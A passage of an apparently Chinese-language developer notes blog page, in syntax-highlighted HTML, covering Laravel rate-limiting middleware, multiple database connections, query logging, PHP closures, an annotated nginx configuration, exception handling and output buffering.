class="line">在app\Http\Middleware中新建ThrottleRequests.php文件 内容为 https:<span class="comment">//github.com/illuminate/routing/blob/master/Middleware/ThrottleRequests.php</span></span><br><span class="line">protected <span class="function"><span class="keyword">function</span> <span class="title">resolveRequestSignature</span>(<span class="params">$request</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> sha1(</span><br><span class="line">        $request-&gt;method() .</span><br><span class="line">        <span class="string">'|'</span> . $request-&gt;server(<span class="string">'SERVER_NAME'</span>) .</span><br><span class="line">        <span class="string">'|'</span> . $request-&gt;path() .</span><br><span class="line">        <span class="string">'|'</span> . $request-&gt;ip()</span><br><span class="line">    );</span><br><span class="line">&#125;</span><br><span class="line">protected <span class="function"><span class="keyword">function</span> <span class="title">buildException</span>(<span class="params">$key, $maxAttempts</span>)</span>&#123;</span><br><span class="line">	$retryAfter = $<span class="keyword">this</span>-&gt;getTimeUntilNextRetry($key);</span><br><span class="line">	$headers = $<span class="keyword">this</span>-&gt;getHeaders(</span><br><span class="line">        $maxAttempts,</span><br><span class="line">        $<span class="keyword">this</span>-&gt;calculateRemainingAttempts($key, $maxAttempts, $retryAfter),</span><br><span class="line">        $retryAfter</span><br><span class="line">    );</span><br><span class="line">    <span class="comment">// 修改了这一行</span></span><br><span class="line">  	<span class="keyword">return</span> <span class="keyword">new</span> ThrottleException(<span class="string">'Too Many Attempts.'</span>, <span class="number">429</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"> 在app/Exceptions中新建ThrottleException.php</span><br><span class="line"> &lt;?php</span><br><span class="line"> </span><br><span class="line"> namespace App\Exceptions;</span><br><span class="line"> </span><br><span class="line"> use Exception;</span><br><span class="line"> </span><br><span class="line"> <span class="class"><span class="keyword">class</span> <span class="title">ThrottleException</span> <span class="keyword">extends</span> <span class="title">Exception</span></span>&#123;</span><br><span class="line">     protected $isReport = <span class="literal">false</span>;</span><br><span class="line"> </span><br><span class="line">     public <span class="function"><span class="keyword">function</span> <span class="title">isReport</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">         <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;isReport;</span><br><span class="line">     &#125;</span><br><span class="line"> &#125;</span><br><span class="line">app/Exceptions/Handler.php捕获该抛出异常，在render方法增加以下判断</span><br><span class="line"><span class="keyword">if</span> ($exception <span class="keyword">instanceof</span> ThrottleException) &#123;</span><br><span class="line">	<span class="keyword">return</span> response([</span><br><span class="line">        <span class="string">'code'</span> =&gt; $exception-&gt;getCode(),</span><br><span class="line">        <span class="string">'msg'</span> =&gt; $exception-&gt;getMessage()</span><br><span class="line">	], <span class="number">429</span>);</span><br><span class="line">&#125;</span><br><span class="line">在bootstrap/app.php中注册：throttle:<span class="number">10</span>,<span class="number">2</span>表示的是<span class="number">2</span>分钟内访问<span class="number">10</span>次</span><br><span class="line">$app-&gt;routeMiddleware([</span><br><span class="line">     <span class="string">'throttle'</span> =&gt; App\Http\Middleware\ThrottleRequests::<span class="class"><span class="keyword">class</span>,</span></span><br><span class="line">]);</span><br><span class="line"></span><br><span class="line"> $router-&gt;group([<span class="string">'middleware'</span> =&gt; [<span class="string">'throttle:10,2'</span>]],<span class="function"><span class="keyword">function</span>(<span class="params"></span>) <span class="title">use</span> (<span class="params">$router</span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">	$router-&gt;post(<span class="string">'feedback'</span>,<span class="string">'UserController@addFeedback'</span>);</span><br><span class="line"></span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure>
<h3 id="db有多个连接"><a href="#db有多个连接" class="headerlink" title="db有多个连接"></a>db有多个连接</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">门面模式下，laravel会用默认的连接(例如:defaultdb)而不是你认为的mydb。</span><br><span class="line">$orm = DB::table(<span class="string">'mydb.sale_area'</span>)</span><br><span class="line">        -&gt;leftJoin(<span class="string">'mydb.sale_group_relation'</span>, <span class="string">'mydb.sale_area.id'</span>, <span class="string">'='</span>, <span class="string">'mydb.sale_group_relation.child_id'</span>);</span><br><span class="line">QLSTATE[<span class="number">42000</span>]: Syntax error or access violation: <span class="number">1142</span> SELECT command denied</span><br><span class="line">to user <span class="string">'xxxxx'</span>@<span class="string">'xx.xx.xx.xx'</span> <span class="keyword">for</span> table <span class="string">'sale_area'</span></span><br><span class="line">$orm = DB::connection(<span class="string">"mydb::read"</span>)-&gt;table(<span class="string">"sale_area"</span>)</span><br><span class="line">        -&gt;leftJoin(<span class="string">'sale_group_relation'</span>, <span class="string">'sale_area.id'</span>, <span class="string">'='</span>, <span class="string">'sale_group_relation.child_id'</span>);</span><br><span class="line"></span><br><span class="line">$orm-&gt;where(<span class="string">'sale_area.id'</span>, $condition[<span class="string">'id'</span>]);</span><br><span class="line">$orm-&gt;select([<span class="string">'*'</span>]);</span><br><span class="line"><span class="keyword">return</span> $orm-&gt;get()-&gt;toArray();</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">EventServiceProvider</span> <span class="keyword">extends</span> <span class="title">ServiceProvider</span> </span>&#123;</span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">boot</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        parent::boot();</span><br><span class="line">        <span class="comment">// 监听事务时触发https://www.jianshu.com/p/c8f703d0ce5a</span></span><br><span class="line">        Event::listen(ConnectionEvent::<span class="class"><span class="keyword">class</span>, <span class="title">function</span> ($<span class="title">event</span>)</span>&#123;</span><br><span class="line">          Log::info(ConnectionEvent::<span class="class"><span class="keyword">class</span>, $<span class="title">event</span>-&gt;<span class="title">connection</span>-&gt;<span class="title">getConfig</span>())</span>;</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="comment">// 监听日志记录的db操作</span></span><br><span class="line">        Event::listen(QueryExecuted::<span class="class"><span class="keyword">class</span>, <span class="title">function</span> ($<span class="title">event</span>)</span>&#123;</span><br><span class="line">            Log::info(QueryExecuted::<span class="class"><span class="keyword">class</span>,</span></span><br><span class="line">                [</span><br><span class="line">                    <span class="string">'connection'</span>=&gt;$event-&gt;connection-&gt;getConfig(),</span><br><span class="line">                    <span class="string">'sql'</span> =&gt; $event-&gt;sql,</span><br><span class="line">                    <span class="string">'time'</span> =&gt; $event-&gt;time,</span><br><span class="line">                    <span class="string">'bindings'</span> =&gt; $event-&gt;bindings,</span><br><span class="line">            ]);</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="comment">// 监听PdoStatement操作</span></span><br><span class="line">        Event::listen(StatementPrepared::<span class="class"><span class="keyword">class</span>, <span class="title">function</span> ($<span class="title">event</span>) </span>&#123;</span><br><span class="line">            ob_start();</span><br><span class="line">            $event-&gt;statement-&gt;debugDumpParams();</span><br><span class="line">            $dump = ob_get_clean();</span><br><span class="line">            Log::info(StatementPrepared::<span class="class"><span class="keyword">class</span>,</span></span><br><span class="line">                [</span><br><span class="line">                    <span class="string">'connection'</span>=&gt;$event-&gt;connection-&gt;getConfig(),</span><br><span class="line">                    <span class="string">'debugDumpParams'</span> =&gt; $dump,</span><br><span class="line">                    <span class="string">'errorCode'</span> =&gt; $event-&gt;statement-&gt;errorCode(),</span><br><span class="line">                    <span class="string">'errorInfo'</span> =&gt; $event-&gt;statement-&gt;errorInfo(),</span><br><span class="line">                    <span class="string">'queryString'</span> =&gt; $event-&gt;statement-&gt;queryString,</span><br><span class="line">                ]);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="闭包基本用法"><a href="#闭包基本用法" class="headerlink" title="闭包基本用法"></a>闭包基本用法</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line">PHP 中传递对象时，默认是以引用传递所以在闭包内操作 use 传递的对象时需要特别注意https:<span class="comment">//www.0php.net/posts/PHP-Clourse-%E9%97%AD%E5%8C%85%E7%B1%BB-%E6%B5%85%E6%9E%90.html</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Dog</span> </span>&#123;</span><br><span class="line">    public $name = <span class="string">'Wang Cai'</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$dog = <span class="keyword">new</span> Dog();</span><br><span class="line"></span><br><span class="line">$changeName = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) <span class="title">use</span> (<span class="params">$dog</span>) </span>&#123;</span><br><span class="line">    $dog-&gt;name = <span class="string">'Lai Fu'</span>;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$changeName();</span><br><span class="line"></span><br><span class="line">echo $dog-&gt;name;</span><br><span class="line"><span class="comment">// 输出 Lai Fu</span></span><br><span class="line">$clourse = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    echo <span class="string">'hello clourse'</span>;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (is_object($clourse)) &#123;</span><br><span class="line">    echo get_class($clourse);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 输出 Closure</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pandas</span> </span>&#123;</span><br><span class="line">    public $num = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$pandas = <span class="keyword">new</span> Pandas();</span><br><span class="line"></span><br><span class="line">$add = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    echo ++$<span class="keyword">this</span>-&gt;num . PHP_EOL;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$newAdd1 = $add-&gt;bindTo($pandas);</span><br><span class="line">$newAdd1();</span><br><span class="line"><span class="comment">// 输出 2</span></span><br><span class="line">$newAdd2 = Closure::bind($add, $pandas);</span><br><span class="line">$newAdd2();</span><br><span class="line"><span class="comment">// 输出 3</span></span><br><span class="line">如果将 Pandas 类的 $num 属性改写为 protected 或 private 则会抛出一个致命错误！</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pandas</span> </span>&#123;</span><br><span class="line">    protected $num = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$pandas = <span class="keyword">new</span> Pandas();</span><br><span class="line"></span><br><span class="line">$add = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    echo ++$<span class="keyword">this</span>-&gt;num . PHP_EOL;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$newAdd1 = $add-&gt;bindTo($pandas, $pandas);</span><br><span class="line">$newAdd1();</span><br><span class="line"><span class="comment">// 输出 2</span></span><br><span class="line">$newAdd2 = Closure::bind($add, $pandas, <span class="string">'Pandas'</span>);</span><br><span class="line">$newAdd2();</span><br><span class="line"><span class="comment">// 输出 3</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pandas</span> </span>&#123;</span><br><span class="line">    protected $num = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$pandas = <span class="keyword">new</span> Pandas();</span><br><span class="line"></span><br><span class="line">$add = <span class="function"><span class="keyword">function</span> (<span class="params">$num</span>) </span>&#123;</span><br><span class="line">    $<span class="keyword">this</span>-&gt;num += $num;</span><br><span class="line">    echo $<span class="keyword">this</span>-&gt;num . PHP_EOL;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$add-&gt;call($pandas, <span class="number">5</span>);</span><br><span class="line"><span class="comment">// 输出 6</span></span><br></pre></td></tr></table></figure>
<h3 id="nginx-配置文件"><a href="#nginx-配置文件" class="headerlink" title="nginx 配置文件"></a>nginx 配置文件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"># 指定运行 nginx 的用户</span><br><span class="line"># 格式：user 用户名 [用户组];</span><br><span class="line">user www www;</span><br><span class="line"></span><br><span class="line"># nginx 的工作进程数</span><br><span class="line"># 格式：worker_processes 进程数;</span><br><span class="line">worker_processes <span class="number">4</span>;</span><br><span class="line"></span><br><span class="line"># pid 文件的存放路径</span><br><span class="line"># 格式：pid 文件路径;</span><br><span class="line">pid logs/nginx.pid;</span><br><span class="line"></span><br><span class="line"># 指定错误日志文件存放路径</span><br><span class="line"># 格式：error_log 文件路径 [错误级别];</span><br><span class="line"># 错误级别包括：DEBUG | info | notice | warn | error | crit | alert | emerg</span><br><span class="line">error_log logs/logs.log warn;</span><br><span class="line"></span><br><span class="line"># 指定 worker 进程打开文件最大数目限制</span><br><span class="line"># 格式：worker_rlimit_nofile 最大打开文件数;</span><br><span class="line">worker_rlimit_nofile <span class="number">10000</span>;</span><br><span class="line"></span><br><span class="line">events &#123;</span><br><span class="line">  # 指定每个 worker 进程同时打开的最大连接数</span><br><span class="line">  # 格式：worker_connections 最大连接数;</span><br><span class="line">  # 此值不能大于操作系统支持的打开的最大文件句柄数</span><br><span class="line">  worker_connections <span class="number">1024</span>;</span><br><span class="line">  </span><br><span class="line">  # 设置是否允许同时接受多个连接</span><br><span class="line">  # 格式：multi_accept on|off;</span><br><span class="line">  multi_accept on;</span><br><span class="line">  </span><br><span class="line">  # 设置事件驱动模型</span><br><span class="line">  # 格式：use 事件驱动模型;</span><br><span class="line">  # 可填内容：select | poll | kqueue | epoll | rtsig | /dev/poll | eventport</span><br><span class="line">  # 推荐使用 use epoll;</span><br><span class="line">  use epoll;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">http &#123;</span><br><span class="line">  # 引入「文件扩展名与文件类型映射表」的配置文件</span><br><span class="line">  include mime.types;</span><br><span class="line">  </span><br><span class="line">  # 指定默认HTTP 响应的 Content-Type 值</span><br><span class="line">  # 格式：default_type type;</span><br><span class="line">  default_type text/plain; </span><br><span class="line">  </span><br><span class="line">  # 指定连接日志格式</span><br><span class="line">  # 格式：log_format 格式名 格式字符串;</span><br><span class="line">  log_format myFormat <span class="string">'$remote_addr–$remote_user [$time_local] $request $status $body_bytes_sent $http_referer $http_user_agent $http_x_forwarded_for'</span>;</span><br><span class="line">  </span><br><span class="line">  # 指定连接日志文件存放路径</span><br><span class="line">  # 格式：access_log 存放文件路径 日志格式;</span><br><span class="line">  access_log logs/access_logs.log myFormat;</span><br><span class="line">  </span><br><span class="line">  # 指定连接超时时间</span><br><span class="line">  # 格式：keepalive_timeout 超时秒数</span><br><span class="line">  keepalive_timeout <span class="number">60</span>;</span><br><span class="line">  </span><br><span class="line">  # 指定是否使用sendfile系统调用来传输文件</span><br><span class="line">  # 格式:sendfile on|off;</span><br><span class="line">  # 推荐开启</span><br><span class="line">  sendfile on;</span><br><span class="line">  </span><br><span class="line">  server &#123;</span><br><span class="line">    # 指定 server 监听的端口</span><br><span class="line">    # 格式：listen 端口号;</span><br><span class="line">    listen <span class="number">80</span>;</span><br><span class="line">    </span><br><span class="line">    # 指定 server 主机名，支持域名、IP，可以使用通配符或正则表达式，支持多个</span><br><span class="line">    # 格式：server_name 主机名...;</span><br><span class="line">    server_name www<span class="number">.0</span>php.net;</span><br><span class="line">    </span><br><span class="line">    # 指定站点目录</span><br><span class="line">    # 格式：root 目录名;</span><br><span class="line">    root /www/public;</span><br><span class="line">    </span><br><span class="line">    # 指定默认页面，可多个，优先匹配第一个存在的</span><br><span class="line">    # 格式：index 文件名...;</span><br><span class="line">    index index.html index.htm index.php;</span><br><span class="line">    </span><br><span class="line">    # location 块</span><br><span class="line">    # 格式： location [=|~|~*|^~] 正则表达式 &#123;...&#125;</span><br><span class="line">    location ~ [^<span class="regexp">/]\.php(/</span>|$) &#123;</span><br><span class="line">      # 指定 fastcgi 代理</span><br><span class="line">      # 格式：fastcgi_pass fastcgi地址</span><br><span class="line">      fastcgi_pass <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">9000</span>;</span><br><span class="line">      </span><br><span class="line">      # 指定 fastcgi 默认请求文件</span><br><span class="line">      # 格式：fastcgi_index 默认请求文件</span><br><span class="line">      fastcgi_index index.php;</span><br><span class="line">      </span><br><span class="line">      # 引入 fastcgi 的配置文件</span><br><span class="line">      include fastcgi.conf;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    # 其它 location 均未匹配则会匹配此块</span><br><span class="line">    location / &#123;</span><br><span class="line">      # 找指定路径下文件，如果不存在，则转给后面的文件执行</span><br><span class="line">      # 格式：try_files 文件路径...;</span><br><span class="line">      try_files $uri $uri/ <span class="regexp">/index.php?$query_string;</span></span><br><span class="line"><span class="regexp">    &#125;</span></span><br><span class="line"><span class="regexp">  &#125;</span></span><br><span class="line"><span class="regexp">&#125;</span></span><br></pre></td></tr></table></figure>
<h3 id="try-catch"><a href="#try-catch" class="headerlink" title="try catch"></a>try catch</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (random_int(<span class="number">0</span>, <span class="number">1</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> RuntimeException(<span class="string">'I am RuntimeException'</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> OutOfRangeException(<span class="string">'I am OutOfRangeException'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    foo();</span><br><span class="line">&#125; <span class="keyword">catch</span> (OutOfRangeException|RuntimeException $e) &#123;</span><br><span class="line">    echo $e-&gt;getMessage();</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 根据随机抛出的异常分别输出</span></span><br><span class="line"><span class="comment">// I am RuntimeException</span></span><br><span class="line"><span class="comment">// I am OutOfRangeException</span></span><br><span class="line">全局异常处理函数</span><br><span class="line">set_exception_handler(<span class="function"><span class="keyword">function</span> (<span class="params">Exception $e</span>) </span>&#123;</span><br><span class="line">    echo $e-&gt;getMessage();</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> Exception(<span class="string">'nobody catch me'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">foo();</span><br><span class="line"><span class="comment">// 输出 nobody catch me</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params">int $a</span>): <span class="title">int</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $a;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    foo(<span class="string">'string'</span>);</span><br><span class="line">&#125; <span class="keyword">catch</span> (Throwable $e) &#123;</span><br><span class="line">    echo get_class($e);<span class="comment">//TypeError </span></span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 输出 Throwable Throwable 是 PHP 7 新出的一个预定义接口，Error 和 Exception 类都实现了这个接口，也就是说我们现在有能力通过 catch 捕获到 Error</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">foo</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> Exception();</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception $e) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">2</span>;</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">3</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">echo foo();</span><br><span class="line"><span class="comment">// 输出 3  https://www.0php.net/posts/PHP-%E5%BC%82%E5%B8%B8%E5%A4%84%E7%90%86%E4%B8%89%E8%BF%9E-try-catch-finally.html</span></span><br><span class="line"><span class="keyword">finally</span> 内的代码是无论是否捕获到异常都会执行的代码，并且当 <span class="keyword">finally</span> 中存在 <span class="keyword">return</span> 返回值时，整个<span class="keyword">try</span>..catch...finally段的返回值只会是 <span class="keyword">finally</span> 的返回值。</span><br></pre></td></tr></table></figure>
<h3 id="忽略-include-的输出"><a href="#忽略-include-的输出" class="headerlink" title="忽略 include 的输出"></a>忽略 include 的输出</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ob_start();</span><br><span class="line">include <span class="string">'file.php'</span>;</span><br><span class="line">ob_end_clean();</span><br><span class="line">输出缓冲区的作用是将 PHP 的输出内容缓存在一块内存中，当缓冲区的内存满了或者程序执行完毕后便会将缓冲区的内容发送给客户端。 https:<span class="comment">//www.0php.net/posts/PHP-%E8%BE%93%E5%87%BA%E7%BC%93%E5%86%B2%E5%8C%BA%E5%BA%94%E7%94%A8.html</span></span><br><span class="line">ob_start();</span><br><span class="line">echo <span class="string">'world'</span>;</span><br><span class="line">$str = ob_get_clean();</span><br><span class="line">echo <span class="string">'hello '</span> . $str;</span><br><span class="line"><span class="comment">// 输出 hello world</span></span><br><span class="line">$str1 = <span class="string">"good"</span>; </span><br><span class="line">$str2 = <span class="string">"good\0bad"</span>; </span><br><span class="line">var_dump(strcoll($str1, $str2));</span><br><span class="line"><span class="comment">// 非二进制安全，输出 0</span></span><br><span class="line">var_dump(strcmp($str1, $str2));</span><br><span class="line"><span class="comment">// 二进制安全，输出 -4 在二进制安全的函数操作里 \0 并不会看做字符串的结尾，字符串中所有的数据都没有特殊的含义。 https://www.0php.net/posts/PHP-%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9B%B8%E5%85%B3%E5%B8%B8%E8%AF%86.html</span></span><br></pre></td></tr></table></figure>
<h3 id="中间件"><a href="#中间件" class="headerlink" title="中间件"></a>中间件</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span 